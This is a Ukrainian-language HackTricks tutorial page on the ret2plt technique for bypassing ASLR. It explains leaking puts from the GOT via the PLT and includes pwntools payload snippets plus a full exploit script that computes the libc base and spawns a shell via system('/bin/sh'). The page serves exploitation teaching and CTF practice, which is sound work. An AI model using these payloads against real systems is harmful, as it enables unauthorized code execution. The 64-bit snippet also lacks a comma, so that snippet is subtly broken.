Ret2plt
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Метою цієї техніки є витік адреси з функції з PLT, щоб обійти ASLR. Це пов'язано з тим, що, наприклад, якщо ви витечете адресу функції puts
з libc, ви зможете обчислити, де знаходиться база libc
і обчислити зсуви для доступу до інших функцій, таких як system
.
Це можна зробити за допомогою корисного навантаження pwntools
, такого як (звідси):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Зверніть увагу, як puts
(використовуючи адресу з PLT) викликається з адресою puts
, розташованою в GOT (Global Offset Table). Це відбувається тому, що до моменту, коли puts
виводить запис GOT для puts
, цей запис міститиме точну адресу puts
в пам'яті.
Також зверніть увагу, як адреса main
використовується в експлойті, тому коли puts
закінчує своє виконання, бінарний файл знову викликає main
, а не виходить (тому адреса, що витекла, залишиться дійсною).
caution
Зверніть увагу, що для того, щоб це спрацювало, бінарний файл не може бути скомпільований з PIE або ви повинні знайти витік, щоб обійти PIE, щоб знати адресу PLT, GOT і main. В іншому випадку, спочатку потрібно обійти PIE.
Ви можете знайти повний приклад цього обходу тут. Це був фінальний експлойт з того прикладу:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Інші приклади та посилання
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 біти, ASLR увімкнено, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарки, щоб потім викликати puts і витягти його. З канаркою створюється ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім ROP гаджет для виклику
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 біти, ASLR увімкнено, без канарки, переповнення стеку в main з дочірньої функції. ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім викликати один гаджет.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.